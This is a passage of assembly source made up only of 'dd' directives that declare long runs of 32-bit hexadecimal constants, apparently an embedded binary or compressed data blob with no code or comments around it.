		dd 0CA0E7EF8h, 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h, 0AFBE6FB6h
		dd 0CFCEEFC6h, 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h, 4ECC3906h
		dd 1E8E0016h, 2E0F26CFh, 8F00364Fh, 2746CB3Eh, 14E75638h
		dd 0F466E55Eh, 7EF27603h, 0F9D92EC9h, 6406C8F4h, 0E8142C01h
		dd 0F024EC1Ch, 0E1190DCh, 44FC3CF8h, 548E4C4Eh,	640F5CCFh
		dd 748F6C4Fh, 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh,	0B4FCACFCh
		dd 903FBCF4h, 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h, 40260F4h
		dd 3A0C3B39h, 1C00143Ah, 2C3D243Ch, 3F77343Eh, 4CE844E4h
		dd 5C7A1B92h, 6C7E647Ch, 7C7E747Eh, 8C7E847Eh, 9C7E947Eh
		dd 0AC7EA47Eh, 0BC49B47Eh, 3FCC3F23h, 24DC05D4h, 4E87AAE4h
		dd 487FC20h, 195B03Ch, 671C4714h, 602C8424h, 253CC93h
		dd 7CFEC77Fh, 40E884E7h, 7ED492A3h, 0CE74BC72h,	0FE00CCFh
		dd 80FA5FF4h, 7404723Dh, 140C7608h, 0BB481078h,	1C396548h
		dd 3C3B2A3Ah, 643D5C3Ch, 6C3F683Eh, 743F703Fh, 2C64783Fh
		dd 987C9280h, 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh, 0DC80D87Dh
		dd 0EDEE059h, 1C3E0114h, 248B204Eh, 0A72CE427h,	34C43001h
		dd 3CE75D87h, 0EC6CEC74h, 0F478F074h, 0FC80F87Ch, 0FC88FC84h
		dd 0FC90FC8Ch, 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h, 3281D8E5h
		dd 0F3E450C3h, 0F2ECC8E8h, 54690400h, 0D930D12Ch, 38E13934h
		dd 4E405C92h, 4C884830h, 8815ABA9h, 0AF902AADh,	3F309849h
		dd 91A422A0h, 49E0122Ah
		dd 2E24E82Ch, 0F83093F0h, 8C99F0F7h, 130F6010h,	612501D4h
		dd 51347882h, 0F96890F3h, 3090E488h, 0BA675274h, 0A4727E54h
		dd 0AC76A874h, 0C05DB003h, 93E83F58h, 0B3F0A3ECh, 0D0F8C3F4h
		dd 3970FCh, 83A0431h, 383C665Ch, 2E403D00h, 4C9F6844h
		dd 4B500097h, 6EA7586Ch, 7054E760h, 9CEC98A6h, 0AAAAA0F0h
		dd 0F9ACEEE1h, 0B81974B0h, 54B2C8FCh, 0F405F07Eh, 82D7F8E5h
		dd 93043D80h, 0CA30008h, 20C310B3h, 500040D2h, 0B4C4A94h
		dd 0EEA75496h, 60E5015Ch, 0F3688293h, 0D19CC97Ch, 0E1A8D9A4h
		dd 0F2B0E8ACh, 4850B43Ah, 0D22C4862h, 0E0F82400h, 48045D33h
		dd 3C00D7ACh, 0B2142E10h, 960E1C9Fh, 214F1720h,	60CF5C22h
		dd 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh,	12BC8732h
		dd 2249C0E7h, 7C2426C8h, 0DC00D87Eh, 3974ECE6h,	4D3A1434h
		dd 200B1018h, 5A8E243Dh, 0FDFF2C20h, 4873029Fh,	0DE70B5A1h
		dd 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h, 0CFC0130Fh
		dd 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh, 782E5CE8h
		dd 592400CCh, 0B35C9228h, 38F47F13h, 20B88F01h,	0DA2474BAh
		dd 78CC927Ch, 7C8C7A88h, 98C3A090h, 0A01E0E0Fh,	0B840A4CFh
		dd 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h, 0ED3CE834h
		dd 44095670h, 4F848F4h,	49D25094h, 419A4A58h, 0E2F1C688h
		dd 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h, 4104623Bh
		dd 6ED16A40h, 976BEA0h,	7EF17AE9h, 2C869D61h, 818E259Fh
		dd 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h, 0A2607083h
		dd 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h,	0A748009Fh
		dd 81331C50h, 0F9B9D07h, 36A034B5h, 4F274Ah, 1ED35B45h
		dd 50B0D2ABh, 0EF007EE0h, 3A0E215Dh, 388B3B65h,	9F00A72Eh
		dd 4B0216D8h, 273347F2h, 0F08282E6h, 0DCC7BCh, 713905E1h
		dd 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h,	2B0E0058h
		dd 704E6B3Bh, 0CF00788Eh, 21B30BA2h, 613C7150h,	0D8A5437Fh
		dd 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h, 7ACD6077h
		dd 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h,	47780203h
		dd 989B6787h, 12AEFEh, 940CF188h, 30050708h, 0D824A509h
		dd 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh,	0FB7E48Bh
		dd 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh, 0F10B8EE9h
		dd 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h, 9EDA1DD5h
		dd 9FE51EE0h, 0F017EBh,	3403876Fh, 2A0F2421h, 0C45385h
		dd 0F85056A0h, 1C960055h, 0CE4F6712h, 8272CF79h, 0B100A874h
		dd 1A62BAC9h, 2C640h, 9224B35h,	0A4216618h, 11360800h
		dd 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh, 7E3E6B04h
		dd 3880873Fh, 707B525h,	0EBE7DD0Ah, 223850E1h, 610F2BC9h
		dd 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h, 0FC288C24h, 0B12E2F6h
		dd 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h, 0EC6D8E00h
		dd 7BF073h, 0C0F880F4h,	0C85D9EBAh, 0D02EA000h,	4BD897A2h
		dd 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h, 7A926EE3h
		dd 10B00008h, 0BA18B274h, 20005DB4h, 0B8282EB6h, 0F64B3097h
		dd 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h, 0C6605DC4h
		dd 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h, 5761D0E9h
		dd 0BA98DCh, 0D6A05CD4h, 0B8CBB0CFh, 0C8D89900h, 0DA73D0F9h
		dd 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h, 2CFC7318h
		dd 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh, 97A980E6h
		dd 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h, 0B8ECB4E8h
		dd 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh, 0EB75602Eh
		dd 99FA00ABh, 24E920F8h, 210B2CF1h, 8B38F9F2h, 500990ACh
		dd 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah, 4FF0FF3Eh
		dd 780A0070h, 4E5B7A57h, 0FA16095Fh, 5001A1BBh,	97C9893Fh
		dd 0C60434h, 0C32DAE1h,	88609020h, 300B0F00h, 48493327h
		dd 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h, 67A8A707h,	86317247h
		dd 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h, 6A00E4F2h
		dd 424C0B8h, 0E4937h, 3C233BBEh, 4102672Dh, 0E74BC70Eh
		dd 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh, 0CCB3C3B9h
		dd 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h,	0E53A0Fh
		dd 28798A1h, 27CB3BBFh,	0EA47D800h, 193C9D61h, 3E560060h
		dd 0E974B272h, 8A003750h, 3F62E1A0h, 15D0770h, 75312E30h
		dd 0FCD31524h, 5213A24Bh, 760088E9h, 342B50E0h,	356D001Ch
		dd 0DDBF5C36h, 0D8005DCBh, 6144EADEh, 1E09537h,	60EDF332h
		dd 0C09C482Ch, 8700FB1Dh, 249F394Eh, 1E16C4E5h,	4083FAF0h
		dd 1525F33Bh, 1C3E2E84h, 0A6828095h, 7AFE50ADh,	0E87C00D0h
		dd 184A3EE0h, 4900E60Eh, 550BF1CFh, 0E940427h, 0C964B047h
		dd 0A41B78E0h, 303C810Fh, 0D14F8006h, 3D60286Bh, 170E00E3h
		dd 2F491F31h, 6E014841h, 863EAE68h, 0C0C48B2Dh,	0FA50BF07h
		dd 100E4E2h, 0E86C18A0h, 0E2ECA3h, 22F4FDF0h, 3A3E3339h
		dd 983B8000h, 0EE3DB33Ch, 3409000Eh, 0E14A492Eh, 0D2E6943Eh
		dd 0F1D7E904h, 80C060EAh, 7DA15B72h, 0BD903AAh,	8D3ACA6Ch
		dd 9F379600h, 0D78EB84Eh, 12F03DCFh, 43F100F0h,	936D391Dh
		dd 9901A392h, 7470CCB2h, 45CC3672h, 78981C76h, 805CF4E2h
		dd 87E38C78h, 4E3C8000h, 313D1642h, 0D4B40249h,	1B097E6Ch
		dd 64610040h, 0FFD9FA01h, 0D8C082E3h, 2496E0h, 8430170Bh
		dd 38A0DE3Bh, 0E8FF3Dh,	1DF612F2h, 0FE27FAh, 0F437B02Dh
		dd 0B25AF849h, 734A6601h, 0E2922E09h, 0CA54B07Ah, 3AD5F939h
		dd 0FBFA00E7h, 28203581h, 48A8001Ch, 504F7AB2h,	5801BA09h
		dd 14642641h, 1D6424A6h, 3F6098ACh, 2C13B4C9h, 3C2503BCh
		dd 25903FCCh, 2A0014ECh, 0AEB00472h, 4A0C76h, 18320F10h
		dd 20CF1C8Fh, 284C9DE5h, 34C82C81h, 60C85C9Fh, 0C2640093h
		dd 0F0786CEEh, 5E75747Eh, 0E18088C0h, 72F988F6h, 7690748Ch
		dd 0D39C7894h, 0C8630080h, 0FCD0E864h, 0B892D400h, 0E04DDC7Eh
		dd 67983Ah, 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h, 0A22C9324h
		dd 2E91C30h, 0F13CC038h, 6844F940h, 66011C4Eh, 10542E50h
		dd 5CA05344h, 0F498F090h, 1F52949Ch, 9FA89FA4h,	92B085ACh
		dd 0BCA203B4h, 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h, 10010F1Bh
		dd 83840B3Ah, 0DC42C29h, 3D604D1h, 803E873Ch, 5869A02Bh
		dd 0C5E1BF00h, 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh, 3F0280F2h
		dd 66013142h, 0C8986C00h, 37DEFB50h, 741A0172h,	0D7C4A78h
		dd 69B03084h, 0D62D8A0Fh, 0EBFB0007h, 5407849h,	0F03C6E68h
		dd 4BC68070h, 0E7B0212Dh, 0B745AB03h, 98D662D3h, 2DEFE2E3h
		dd 6F004EE8h, 0F8895961h, 587E3C5Ch, 7E5C59h, 3D0283DDh
		dd 0AB9322h, 0A73E19A0h, 27E8CAE4h, 33033FE2h, 67521687h
		dd 0A593A873h, 700827B5h, 0E000E674h, 0C77230F8h, 68D4004Dh
		dd 5731130Eh, 0C1016349h, 0B3E182A2h, 7F49038h,	4E560032h
		dd 331883D7h, 88739250h, 0B300667Ah, 8FD2300Fh,	0FBCFE6h
		dd 0EC2708C9h, 0E0224418h, 0B62C4BE4h, 9F005CAAh, 836F9769h
		dd 0F39D1C6Ch, 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh, 0BFD9BFD3h
		dd 51ECBBE1h, 0AA9D60C0h, 74077202h, 6015760Dh,	5217A74h
		dd 2F7E297Ch, 0C0D11CCFh, 274BC945h, 0E7395DF6h, 0F4720065h
		dd 8AF8927Eh, 0AEF20049h
		dd 0FCBAEA24h, 13F8BCC2h, 1682DD01h, 49B8D8F8h,	583BDAD4h
		dd 3D385225h, 0D64B2483h, 0C05E639Fh, 0F79E90Fh, 8F874F7Fh
		dd 0C09DCF8Fh, 49B592A7h, 61C303CCh, 0D7F9D1B0h, 0E3A3DD93h
		dd 0D06CF3B0h, 12E38h, 1E13E2A6h, 14FDC17h, 28823302h
		dd 0F8508F38h, 39000A16h, 0C46EC31Ch, 163A18B0h, 10E4D1h
		dd 142E8615h, 7F0B96EEh, 0D6BC83h, 0E4CF3D80h, 3E2D000Bh
		dd 36740417h, 29029EB0h, 3A533F39h, 35E0FF5Fh, 44001C7Eh
		dd 0F9C0C30h, 398595DBh, 8C80FF60h, 86B18284h, 44070292h
		dd 0E15C1449h, 88F981AFh, 1670092Ah, 4F221D50h,	0A08EC798h
		dd 33E190E0h, 3400C213h, 59EC4AC6h, 0E6195D6h, 72692CD8h
		dd 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h,	92620026h
		dd 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h, 7BE0024h
		dd 0FE4AC90h, 17FE13E8h, 0BA3E04B8h, 0D33E6782h, 0E01CD722h
		dd 9D2730h, 92AA1DA6h, 89BE5EA7h, 2F2B3E02h, 60A414C0h
		dd 1BD3A3Dh, 9425FF4h, 0EC51019Ch, 0A0006012h, 6CE868E6h
		dd 0FC3108CEh, 32350087h, 33092139h, 0B100C90Dh, 5F343CD0h
		dd 0F40B40h, 0C832E1C0h, 765E41EAh, 257AC90Bh, 0D3430462h
		dd 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h, 80623900h
		dd 793A7578h, 0E87D03E4h, 5D3B2659h, 0C3B8B4CBh, 0A300B734h
		dd 3D43B0BBh, 207E49Fh,	3A1A3E48h, 2740240Fh, 1F71FAACh
		dd 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h, 5780BC08h
		dd 8AB8AE30h, 3101430Bh, 0E1DA424Fh, 87CC7B9Ch,	0F19402E9h
		dd 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah,	3C9100D9h
		dd 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah,	0F42CF028h
		dd 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h, 12140037h
		dd 3FB24BDCh, 5E006C24h, 0FC7778E0h, 88BE84h, 0CF39C307h
		dd 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah, 3C703389h
		dd 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h,	0F5F2583Bh
		dd 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h, 63A5FC87h
		dd 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h, 1D720201h
		dd 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h, 94004974h
		dd 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh, 3A51F60Eh
		dd 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h, 0CEBAE680h
		dd 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h,	37E0018Eh
		dd 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h, 213B121Fh
		dd 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh, 43FA0729h
		dd 0F04F6500h, 7BF86E6Ch, 9C3200B8h, 1F06267Ch,	0BF0293B3h
		dd 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h, 0DF4AD378h
		dd 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh, 0B8C9AB30h
		dd 1A03093Ah, 5E08D00Fh, 5D78A835h, 2469000Bh, 0FCBC7AD2h
		dd 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h, 83A295D5h
		dd 3F2F7A0h, 740068F0h,	783E9822h, 574946h, 259B3FA8h
		dd 41E462A5h, 0F8FEAC00h, 9354338Fh, 0ECEA01F6h, 3904F0F5h
		dd 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h, 406E3CAAh
		dd 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh, 167C0094h
		dd 28AED94Ch, 9302F27Eh, 0F9B0A6C9h, 761350B6h,	2DED78E1h
		dd 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h,	0C08C5056h
		dd 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h, 0CDB8FDh
		dd 0FA25A8E8h, 0C90C6E61h, 20D1140Fh, 2FE140D9h, 7F13BE9h
		dd 6C0B2B44h, 7BC0BE58h, 0FCB778A0h, 79DC300h, 0F4E7EB88h
		dd 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h, 22A95Bh
		dd 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h, 8C084C78h
		dd 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh, 5D3E0157h
		dd 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h, 0DA4F1FEAh
		dd 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh, 80E79FA4h
		dd 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h, 58B88EC9h
		dd 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h,	48058F80h
		dd 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h, 0A044128Eh
		dd 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h, 28050790h
		dd 4BF045ECh, 0A2923C80h, 0F6F034Fh, 88CF815Ch,	0ADCBA390h
		dd 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah, 2B78C96Dh
		dd 598D1609h, 0A2B11214h, 3FDA3F94h, 58FC00F2h,	3A1939ECh
		dd 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh, 96351EC9h
		dd 973E803Ch, 95AAC277h, 0B87E7170h, 0C3E203AAh, 6F2FD30h
		dd 0AF7462D8h, 9B74E04h, 27B0D044h, 0F9E4E5h, 5F1DFF4Ch
		dd 8952640Eh, 560241EAh, 3881E975h, 2EB541Ch, 22C12EB3h
		dd 428336E0h, 21A3181Eh, 35C32AC0h, 0F583BD2h, 0F575AF8h
		dd 92CF7DE0h, 610FAAC9h, 0F9BDE8h, 0FCF4BC34h, 38390008h
		dd 3B2D3A12h, 4B003C43h, 9F905524h, 1274976Ch, 2C918C2h
		dd 0E2E112C4h, 390CE440h, 3C70142Ch, 0DA834500h, 0FE60D353h
		dd 12F0036Ch, 814FEEB8h, 0F3D80AE8h, 0F100DD72h, 70D0FDF2h
		dd 4B7445B0h, 5B4EC03Eh, 5D00667Ah, 803F7E6Fh, 0EC18B25h
		dd 0A6F99FCEh, 0E28B043h, 0E005C2D9h, 1E0392D8h, 20B449EAh
		dd 0C02CEA3Bh, 0F416Fh,	61574B4Dh, 93F985FAh, 2C6440C0h
		dd 197ECh, 173C07A2h, 41D122C9h, 2452D900h, 0C4926FC8h
		dd 0C29D0F49h, 0DA45D63Fh, 996E80CCh, 9F0FA34Eh, 0BD3C3Bh
		dd 0C1C725C2h, 0F9D11C60h, 3ADB9DD6h, 3E6AF880h, 83747972h
		dd 0BA934800h, 133F0AC2h, 5FE870h, 767C0F45h, 0A68F854Fh
		dd 3E3CF39h, 900EDCF5h,	70409801h, 4E0F018Eh, 582D8921h
		dd 0E0B4F5FAh, 760EC359h, 4E86F379h, 0F29F808Eh, 4DECE9A4h
		dd 0F13082B9h, 72310C89h, 20491600h, 3D323CBEh,	347E23Eh
		dd 6D27663Fh, 99F85EECh, 0AC3825C0h, 6005070Bh,	0E6C593CEh
		dd 2504180h, 0C314034Fh, 5DB3285Ah, 0B2D381A8h,	0F2BBE309h
		dd 5CD880E6h, 486E2D2Ah, 580570FAh, 0F0817C90h,	4E019555h
		dd 0BF5E0F9Eh, 0D6C9C9CFh, 72C2DECCh, 0FA702C60h, 765D06AEh
		dd 27008D7Bh, 0D9F641C1h, 7938E9F9h, 4B037946h,	7E5FCEEh
		dd 853D7E58h, 2E0591B0h, 16A101ABh, 0FCCFCE20h,	92F1C8DFh
		dd 1101CC7Ah, 84321E36h, 0F840563Bh, 22824Ch, 4F2A7063h
		dd 8EF60F7Ch, 98CF39h, 0C2A8CBA1h, 3A94E124h, 27AE38D3h
		dd 1E200FC5h, 0B3329201h, 0F0C14768h, 0F1A0E288h, 0C21F1200h
		dd 0DF27C791h, 0E2F8F641h, 72380F07h, 83E04E15h, 64C35CD8h
		dd 0E26FD307h, 0C69049B2h, 924D7F9h, 859FEDD6h,	5AFE9170h
		dd 8056B03Ah, 0F8A6F490h, 9A94ABh, 0AAA0D813h, 773A394Eh
		dd 3E1E59F0h, 4C0EC49h,	40900C3Dh, 423000BCh, 0ADA0997h
		dd 1239E002h, 8E76B857h, 409F84ECh, 98A8BB2Eh, 6B30FF3Fh
		dd 9E100326h, 5B133C9Dh, 7C27D400h, 6CC7D461h, 7405EE14h
		dd 0F83B1F84h, 84629F96h, 80F99EBAh, 4E740C38h,	9D9A2D38h
		dd 6B805678h, 0CFA2E80Fh, 0EECB00E5h, 34030E41h, 1CF81694h
		dd 1700FDB8h, 4A384929h, 395D9699h, 890083F9h, 0A1278A68h
		dd 0B17BAC61h, 0D26CCB00h, 6436DE2Eh, 184E00FCh, 78D82A49h
		dd 3BF01EB8h, 8756C23Bh, 30546C62h, 0C0D375A2h,	0EB53CAAh
		dd 0E27E0E50h, 95DF140h, 430E2506h, 63AF3487h, 14A4D9h
		dd 3BA03AACh, 3DB43CA5h
		dd 0DE2CC91Fh, 3EB18404h, 58882A80h, 0FEDBFEDAh, 1E3F4DFh
		dd 0A861E725h, 71F3F9EFh, 6CFBD038h, 70EFA05h, 0FD000D3Fh
		dd 37CF258Eh, 4F3D380Fh, 1E558F9Eh, 0C96D8067h,	4EC05881h
		dd 50839502h, 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh,	0E4000982h
		dd 1B11C4F1h, 3C533Bh, 3E5B3D57h, 4E63265Fh, 0C26B9200h
		dd 50698074h, 0C4C2A09Ch, 36AF4B8h, 0F6C97831h,	1000D9BDh
		dd 2775760Bh, 64B5E0h, 3ADCAC4Dh, 1C5A2472h, 351A8500h
		dd 0BC9093A7h, 0DBC600A2h, 37163896h, 76001D04h, 0C8C50C17h
		dd 8DF40Fh, 6CE1918Bh, 539DF999h, 0F2A5FC00h, 0C5FEA7A9h
		dd 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh,	0C08CF872h
		dd 8EC19Eh, 90093E82h, 4F92F08Ah, 7C42E6E5h, 0A27E3A40h
		dd 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h, 987A9CD8h
		dd 7E0EACFAh, 0E0E959C0h, 253A110Eh, 3BFA005Fh,	3D613C4Dh
		dd 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch, 6CAB9Ch
		dd 9302F624h, 8600C218h, 0C0E48457h, 9085E808h,	4E5D2C33h
		dd 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h, 0A4392EDDh
		dd 0FDB0C7Bh, 311EF754h, 2D921C09h, 80418BC9h, 2171FE4Dh
		dd 33B01F28h, 0D1C300B9h, 344CD8D3h, 0AC394F2Eh, 36E9A300h
		dd 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh, 4C35272Dh
		dd 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h, 0E5A31C00h
		dd 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh, 80508BB5h
		dd 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h, 0C23B3A84h
		dd 305C8351h, 77937B1Fh, 70980186h, 34AC5D5Eh, 0CA2D603Fh
		dd 0DE08C102h, 0C0060F2Eh, 580A12h, 4A3074FEh, 44F6C838h
		dd 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h, 0DC9270E8h
		dd 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h,	0E1ECB1E8h
		dd 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h,	9EA81D60h
		dd 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h, 9EC669D7h
		dd 95A7C00h, 0A966374Fh, 968500A0h, 6E50920Eh, 0CE0F7E49h
		dd 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h, 0BC6B4466h
		dd 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h, 3DF28329h, 0F0E947B2h
		dd 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h, 0BE443EC2h
		dd 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh, 0CF862C8Ah
		dd 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h, 2AE4D68Eh
		dd 3D030013h, 260F097h,	7D003E2Fh, 3F217081h, 4386C29h
		dd 4C26453Bh, 500ABAEh,	0C811E088h, 39EA015Ch, 2D663A2Fh
		dd 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h, 0F07E3409h
		dd 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h, 0F8009E1Ch
		dd 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h, 5EFCF04Dh
		dd 0E4168800h, 5014C609h, 44762CD8h, 607A013Ch,	0DC4B7B7Ch
		dd 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h, 0CC38C003h
		dd 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h, 0E82972E0h
		dd 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h,	0CC4C68D6h
		dd 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h,	0EF8020E9h
		dd 509BB0E7h, 6898B038h, 101CEA00h, 2F92153Fh, 0D6282CE0h
		dd 8E9F03FEh, 32B009B6h, 6800C19Ch, 0D136C926h,	3A49D93Eh
		dd 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh, 0C4B88098h
		dd 0DAC954h, 50859DD3h,	15CAE0DDh, 2931260Fh, 92626088h
		dd 0AE8276h, 2C7C7E9Eh,	3249017Ah, 4D334200h, 0EC3C80C9h
		dd 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h, 0DA300964h
		dd 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h,	169E5E1Dh
		dd 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h,	69385C12h
		dd 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh, 0C390516h
		dd 17A34AC3h, 0C223B300h, 7E06702Fh, 525E0040h,	0C968660Fh
		dd 36094188h, 0D96C6494h, 69201EBh, 0CC4A74B0h,	0E6724009h
		dd 3A024200h, 2CC2104Eh, 70E8FC3Ch, 28682641h, 2A8E3F4Bh
		dd 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h,	0AB0C1C0Bh
		dd 0D3E640h, 58C98D5Eh,	880E3C20h, 0A00965E4h, 0E3603E41h
		dd 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch, 0DE1C1072h
		dd 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h,	0D812EE0Bh
		dd 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh, 265081B7h
		dd 3C019335h, 410E251Ch, 0E0306474h, 0E2E80030h, 9682DC06h
		dd 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh, 0C8FA4D80h
		dd 1C003E57h, 93713F46h, 0B4E179h, 0F4B12260h, 0FCC7F8BCh
		dd 58DDFF4Ch, 947C053Ch, 0C3C0FE80h, 901D31h, 96849754h
		dd 2E08BC1Ah, 25CA6F00h, 40E15E87h, 553800F4h, 745B7239h
		dd 8F704983h, 3EAE3D00h, 0EAF32CC6h, 1EC001B3h,	46A2B92h
		dd 0E956E4C1h, 4B00F1E2h, 0F24CE238h, 3824763Bh, 3D80099Fh
		dd 4E32D847h, 2E00C366h, 0DC94D28Ch, 279C122Ch,	4DC19E83h
		dd 4A1670F2h, 96B41F07h, 893C2F6h, 22929063h, 0B29D0043h
		dd 7CD07054h, 0BD007EB8h, 0C53F8917h, 74230B1h,	7724F080h
		dd 499E00D2h, 0E100D6FAh, 6807E9F5h, 3263A66h, 3CE42B24h
		dd 0D9B88F3Dh, 2D3E93BCh, 0EC560BA0h, 0B575815Eh, 0E7F8FA07h
		dd 0F9E405F1h, 0C05D6093h, 856449E8h, 27CA781Eh, 0A17207C0h
		dd 14E4ACE7h, 0BE76E0BBh, 38B4CE00h, 60A00A17h,	89951A00h
		dd 311C04B6h, 3C74B8BCh, 4F81613Dh, 0FC5BE434h,	608E6163h
		dd 0B7E2B0A5h, 98879703h, 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h
		dd 5804F32Dh, 2794DC09h, 8C07161Eh, 93FE8FC0h, 0FE36323Fh
		dd 7E8A3C70h, 3772007Fh, 8640A06Bh, 0A5E21CB4h,	1DB89D00h
		dd 15F09ECDh, 2FFA002Dh, 8BCA856Ch, 0C80ED4D3h,	0C03CC1E1h
		dd 3E7C0C92h, 5602C11Dh, 0E4C36296h, 1B0BE0FFh,	0BE273Fh
		dd 0B64F46DCh, 7449176Ch, 7C5E04D8h, 0C8B3C05Bh, 401C5070h
		dd 1C014F0h, 0EE300BA3h, 3A7C32h, 0F916640Ch, 2F34B8FDh
		dd 0C6610500h, 0E177310Dh, 0E3B0086h, 29ED25E0h, 560028CCh
		dd 2E7353Fh, 741C53Dh, 0FC4992A0h, 0FD51204Dh, 59008C20h
		dd 611FFA94h, 76593h, 25923B98h, 9A08E002h, 380A9C00h
